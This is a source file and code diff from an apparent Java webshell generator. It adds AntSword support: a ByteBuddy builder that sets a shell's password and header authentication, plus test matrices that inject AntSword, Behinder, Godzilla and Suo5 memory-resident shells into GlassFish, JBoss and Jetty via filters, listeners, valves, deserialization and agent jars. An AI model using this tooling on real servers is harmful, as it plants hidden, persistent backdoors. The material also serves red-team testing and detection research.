import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.AntSwordConfig;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.StringUtils;
import java.util.Map;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordGenerator {
private final ShellConfig shellConfig;
private final AntSwordConfig antSwordConfig;
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig antSwordConfig) {
this.shellConfig = shellConfig;
this.antSwordConfig = antSwordConfig;
}
public DynamicType.Builder<?> getBuilder() {
if (antSwordConfig.getShellClass() == null) {
throw new IllegalArgumentException("antSwordConfig.getClazz() == null");
}
if (StringUtils.isBlank(antSwordConfig.getPass())) {
throw new IllegalArgumentException("antSwordConfig.getPass().isBlank()");
}
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(antSwordConfig.getShellClass())
.name(antSwordConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(Map.of(
"pass", antSwordConfig.getPass(),
"headerName", antSwordConfig.getHeaderName(),
"headerValue", antSwordConfig.getHeaderValue()
))
);
} else {
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
.field(named("headerName")).value(antSwordConfig.getHeaderName())
.field(named("headerValue")).value(antSwordConfig.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
+1
View File
@@ -11,6 +11,7 @@ dependencies {
testImplementation project(":tools:behinder")
testImplementation project(":tools:godzilla")
testImplementation project(":tools:suo5")
testImplementation project(":tools:ant-sword")
testImplementation project(':generator')
testImplementation 'net.bytebuddy:byte-buddy'
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.antsword.AntSwordManager;
import com.reajason.javaweb.behinder.BehinderManager;
import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.memshell.SpringWebFluxShell;
@@ -92,6 +93,9 @@ public class ShellAssertionTool {
case Suo5:
testSuo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig()));
break;
case AntSword:
testAntSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig()));
break;
}
}
@@ -137,6 +141,15 @@ public class ShellAssertionTool {
assertTrue(Suo5Manager.test(entrypoint, shellConfig.getHeaderValue()));
}
public static void testAntSwordIsOk(String entrypoint, AntSwordConfig shellConfig) {
AntSwordManager antSwordManager = AntSwordManager.builder()
.entrypoint(entrypoint)
.pass(shellConfig.getPass())
.header(shellConfig.getHeaderName()
, shellConfig.getHeaderValue()).build();
assertTrue(antSwordManager.getInfo().contains("ok"));
}
public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) {
InjectorConfig injectorConfig = new InjectorConfig();
if (StringUtils.isNotBlank(urlPattern)) {
@@ -185,6 +198,15 @@ public class ShellAssertionTool {
.build();
log.info("generated {} suo5 with headerValue: {}", shellType, uniqueName);
break;
case AntSword:
String antPassword = "ant";
shellToolConfig = AntSwordConfig.builder()
.pass(antPassword)
.headerName("User-Agent")
.headerValue(uniqueName)
.build();
log.info("generated {} antSword with pass: {}, headerValue: {}", shellType, antPassword, uniqueName);
break;
}
return GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
}
@@ -57,6 +57,8 @@ public class GlassFish3ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -65,6 +67,8 @@ public class GlassFish3ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
@@ -73,9 +77,13 @@ public class GlassFish3ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
// arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
@@ -58,6 +58,8 @@ public class GlassFish4ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -66,6 +68,8 @@ public class GlassFish4ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
@@ -74,9 +78,13 @@ public class GlassFish4ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -50,6 +50,8 @@ public class GlassFish501ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -58,6 +60,8 @@ public class GlassFish501ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
@@ -66,9 +70,13 @@ public class GlassFish501ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -53,6 +53,9 @@ public class GlassFish510ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -64,6 +67,9 @@ public class GlassFish510ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
@@ -75,9 +81,14 @@ public class GlassFish510ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -50,6 +50,8 @@ public class Jboss423ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -58,6 +60,8 @@ public class Jboss423ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
@@ -66,9 +70,13 @@ public class Jboss423ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -51,6 +51,8 @@ public class Jboss510ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -59,6 +61,8 @@ public class Jboss510ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
@@ -67,9 +71,13 @@ public class Jboss510ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
// arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -50,6 +50,8 @@ public class Jboss610ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -58,6 +60,8 @@ public class Jboss610ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
@@ -66,9 +70,13 @@ public class Jboss610ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -49,17 +49,22 @@ public class Jboss711ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -46,17 +46,22 @@ public class JbossEap6ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -51,6 +51,8 @@ public class JbossEap7ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -59,6 +61,8 @@ public class JbossEap7ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -67,6 +71,9 @@ public class JbossEap7ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -49,6 +49,8 @@ public class Jetty61ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -57,6 +59,8 @@ public class Jetty61ContainerTest {
